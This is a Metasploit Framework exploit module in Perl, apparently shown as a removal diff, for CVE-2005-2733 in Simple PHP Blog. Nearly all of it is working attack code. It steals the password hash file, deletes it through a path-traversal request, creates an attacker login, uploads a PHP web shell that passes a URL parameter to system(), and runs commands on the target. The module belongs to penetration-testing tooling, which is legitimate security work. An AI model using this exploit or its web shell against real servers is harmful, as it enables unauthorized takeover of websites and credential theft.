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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::sphpblog_file_upload;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'Simple PHP Blog remote command execution',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'Matteo Cantoni <goony@nothink.org>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'DIR' => [1, 'DATA', 'Sphpblog directory path', '/sphpblog'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- The Simple PHP Blog (<= 0.4.0) application has two vulnerabilities present within
- it that when used together, can allow an attacker to arbitrarily upload
- files to the server. The first vulnerability has to do with insecure
- default file permissions and placement of config.txt and password.txt,
- and leaves both files fully accessible to unauthorized users.
-
- The second of the two vulnerabilities lies within the image upload
- system provided to (il?)legitimate, logged-in users. There is no image
- validation function in the blogger to stop an unauthorized user from
- uploading any file they want to to the server.
-
- Note: module based on "http://www.milw0rm.com/exploits/download/1191" script by Kenneth Belva.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '19011'],
- ['BID', '14667'],
- ['CVE', '2005-2733'],
- ['URL', 'http://www.xorcrew.net/xpa/XPA-SimplePHPBlog.txt'],
- ['URL', 'http://www.milw0rm.com/exploits/1191'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'Keys' => ['cmd'],
- },
-
- 'Keys' => ['simple php blog'],
-
- 'DisclosureDate' => 'August 25 2005',
- };
-
- sub new{
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check{
-
- my $self = shift;
- my $target_host = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $dir = $self->GetVar('DIR');
-
- my $url = "http://$target_host$dir/index.php";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 10);
-
- $s->Close();
-
- if ($results =~ m/Simple PHP Blog (\d.\d.\d)/sm){
- my ($ver,$ver1,$ver2) = split(/\./,$1);
-
- if ($ver == 0){
- if ($ver1 < 5){
- if($ver2 > 0){
- if ($ver1 < 5){
- $self->PrintLine("[*] Simple PHP Blog appears to be vulnerable. (version $ver.$ver1.$ver2)");
- } else{
- $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
- }
- } else{
- $self->PrintLine("[*] Simple PHP Blog appears to be vulnerable. (version $ver.$ver1.$ver2)");
- }
- } else{
- $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
- }
- } else{
- $self->PrintLine("[*] Simple PHP Blog does not appear to be vulnerable. (version $ver.$ver1.$ver2)");
- }
- }
- }
-
- sub Exploit{
- my $self = shift;
- my $target_host = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $dir = $self->GetVar('DIR');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $cmd = $encodedPayload->RawPayload;
-
- $cmd = Pex::Text::URLEncode($cmd);
-
- my ($user,$pass) = "test";
-
- my $hash = $self->retrieve_password_hash($dir,$target_host,$target_port);
- $self->delete_password_file($dir,$target_host,$target_port);
- $self->create_new_password($user,$pass,$dir,$target_host,$target_port);
- my $session = $self->retrieve_session($user,$pass,$dir,$target_host,$target_port);
- $self->upload_cmd_page($session,$user,$pass,$dir,$target_host,$target_port);
- $self->reset_original_password($hash,$dir,$target_host,$target_port);
- $self->delete_reset_page($dir,$target_host,$target_port);
- $self->cmd_shell($cmd,$dir,$target_host,$target_port);
- return;
- }
-
- sub retrieve_password_hash{
-
- my ($self,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/config/password.txt";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target...");
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 10);
- my @results = split(/\r/, $results);
-
- $s->Close();
-
- my $hash;
- if (grep(/^HTTP\/1.1 200 OK/, @results)){
- $hash = $results[10];
- my $hash_length = length($hash);
- $self->PrintLine("[*] Retrieved username and password hash...");
- return $hash;
- } else {
- $self->PrintLine("[*] Error to retrieve username and password hash...");
- }
- }
-
- sub delete_password_file{
-
- my ($self,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/comment_delete_cgi.php?y=05&m=08&comment=./config/password.txt";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
- my @results = split(/\r/, $results);
-
- $s->Close();
-
- if (grep(/^HTTP\/1.1 302 Found/, @results)){
- $self->PrintLine("[*] Deleted password file...");
- } else {
- $self->PrintLine("[*] Error to delete password file...");
- }
- }
-
- sub create_new_password{
-
- my ($self,$user,$pass,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/install03_cgi.php?blog_language=english";
-
- my $packet = "user=$user&pass=$pass&submit=\%C2\%A0Submit\%C2\%A0";
- my $packet_length = length($packet);
-
- my $request_newpass =
- "POST $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: Close\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n".
- "Content-Length: $packet_length\r\n\r\n".
- "$packet\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request_newpass);
-
- my $results = $s->Recv(-1, 20);
- my @results = split(/\r/, $results);
-
- $s->Close();
-
- if (grep(/^HTTP\/1.1 200 OK/, @results)){
- $self->PrintLine("[*] Modified password file...");
- } else {
- $self->PrintLine("[*] Error to modify password file...");
- }
- }
-
- sub retrieve_session{
-
- my ($self,$user,$pass,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/login_cgi.php";
-
- my $packet = "user=$user&pass=$pass&submit=\%C2\%A0Submit\%C2\%A0";
- my $packet_length = length($packet);
-
- my $request =
- "POST $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: Close\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n".
- "Content-Length: $packet_length\r\n\r\n".
- "$packet\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
- my @results = split(/\n/, $results);
-
- $s->Close();
-
- if (grep(/^HTTP\/1.1 200 OK/, @results)){
- $self->PrintLine("[*] Logged into Simple PHP Blog...");
-
- my $setcookie;
- foreach(@results){
- if ($_ =~ /^Set-Cookie: my_id=/){
- (undef,$setcookie) = split(/=/, $_);
-
- for ($setcookie) { s/^\r//; s/\r$//; }
- for ($setcookie) { s/^\n//; s/\n$//; }
-
- return $setcookie;
- $self->PrintLine("[*] Retrieved cookie... : $setcookie");
- }
- }
- } else {
- $self->PrintLine("[*] Error to login into Simple PHP Blog!");
- }
- }
-
- sub upload_cmd_page{
-
- my ($self,$session,$user,$pass,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/upload_img_cgi.php";
-
- my %packets = (
- 'cmd.php' => "--xYzZY\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"cmd.php\"\r\nContent-Type: text/plain\r\n\r\n".
- "<?php \$cmd = \$_GET['cmd']; echo '<hr><pre>'; echo 'Command: '.\$cmd;echo '</pre><hr><br>';echo '<pre>'; \$last_line = system(\$cmd,\$output);".
- "echo '</pre><br><hr/>'; ?>\r\n--xYzZY--",
- 'reset.php' => "--xYzZY\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"reset.php\"\r\nContent-Type: text/plain\r\n\r\n".
- "<?php \$hash = \$_POST['hash']; \$fp = fopen(\"../config/password.txt\",\"w\");fwrite(\$fp,\$hash); fpclose(\$fp); ?>\r\n--xYzZY--"
- );
-
- my @phpfiles = ("cmd.php","reset.php");
-
- foreach my $phpfile(@phpfiles){
-
- my $packet = $packets{$phpfile};
- my $packet_length = length($packet);
-
- my $request =
- "POST $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: Close\r\n".
- "Content-Length: $packet_length\r\n".
- "Content-Type: multipart/form-data; boundary=xYzZY\r\n".
- "Cookie: PHPSESSID=$session; my_id=$session\r\n\r\n".
- "$packet\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
- my @results = split(/\r/, $results);
-
- $s->Close();
-
- if (grep(/^HTTP\/1.1 302 Found/, @results)){
- $self->PrintLine("[*] Upload $phpfile script on target...");
- $self->PrintLine("[*] To run command please go to http://$target_host$dir/images/cmd.php?cmd=[your command]") if ($phpfile =~ 'cmd.php');
- } else {
- $self->PrintLine("[*] Error to upload $phpfile script on target...");
- }
- }
- }
-
- sub reset_original_password{
-
- my ($self,$hash,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/images/reset.php";
-
- for ($hash) { s/^\n//; s/\n$//; }
-
- my $request =
- "POST $url HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Connection: Close\r\n".
- "Content-Length: 45\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n\r\n".
- "hash=$hash";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- $s->Close();
-
- $self->PrintLine("[*] Reset original password...");
- }
-
- sub delete_reset_page{
-
- my ($self,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/comment_delete_cgi.php?y=05&m=08&comment=./images/reset.php";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: $target_host:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
- my @results = split(/\r/, $results);
-
- $s->Close();
-
- if (grep(/^HTTP\/1.1 302 Found/, @results)){
- $self->PrintLine("[*] Removed reset.php from target host...");
- } else {
- $self->PrintLine("[*] Error to removed reset.php from target host...");
- }
- }
-
- sub cmd_shell{
-
- my ($self,$cmd,$dir,$target_host,$target_port) = @_;
- my $url = "$dir/images/cmd.php?cmd=$cmd";
-
- my $request =
- "GET $url HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: $target_host:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
-
- $s->Close();
-
- if ($results =~ /HTTP\/1.1 200 OK/){
- my (undef,$res) = split(/<br><pre>/, $results);
- my ($res2,undef) = split(/<\/pre><br>/, $res);
- $self->PrintLine("[*] Run command '$cmd'...");
- print "\n$res2\n";
- } else{
- $self->PrintLine("[*] Error to run command...");
- }
- }
-
- sub VHost{
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- 1;
-